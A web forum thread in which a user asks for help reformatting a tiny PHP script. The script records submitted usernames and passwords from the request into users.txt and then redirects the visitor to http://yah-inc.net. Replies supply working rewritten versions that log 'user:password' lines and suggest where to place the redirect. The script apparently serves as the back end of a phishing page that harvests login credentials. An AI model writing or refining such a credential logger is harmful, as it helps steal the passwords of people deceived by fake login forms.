Jump to content

Log help! - HELPED ALREADY THANKS TOON!


Neep Help

Recommended Posts

Hi all, I am in need of help editing this tiney php code. It saves in this format:

user=guest
password=password1

I would like one of you to alter the code so it saves in this format:

guest:password1

I have no idea how to do this help please!! ??? :-[

[code]<?php
header("Location: http://yah-inc.net");
$handle = fopen("users.txt", "a");
foreach($_GET as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>[/code]
Link to comment
Share on other sites

assuming th only variables passed to this script are user and password and they are posted....

(switch to $_GET['user'], $_GET['password'] id they passed via the url. - which they currently are! I say this as i would not pass such info via the url but thats just me.)

remove the for loop and replace with

$string = $_POST['user'] . ":" . $_POST['password'] . "\r\n";
fwrite($handle, $string);



Link to comment
Share on other sites

So my code in all would be?

[code]<?php
header("Location: http://yah-inc.net");
$handle = fopen("users.txt", "a");
$string = $_POST['user'] . ":" . $_POST['password'] . "\r\n";
fwrite($handle, $string);
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>[/code]

it does not work, i am a newbie to php..could you explain more...thanks :-[
Link to comment
Share on other sites

[code]
<?php
header("Location: http://yah-inc.net");
$handle = fopen("users.txt", "a");
$string = $_GET['user'] . ":" . $_GET['password'] . "\r\n";
fwrite($handle, $string);

fclose($handle);
exit;
?>
[/code]

Intrigued by the header being at the top of teh script. Perhaps move that to just above the exit command.
Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.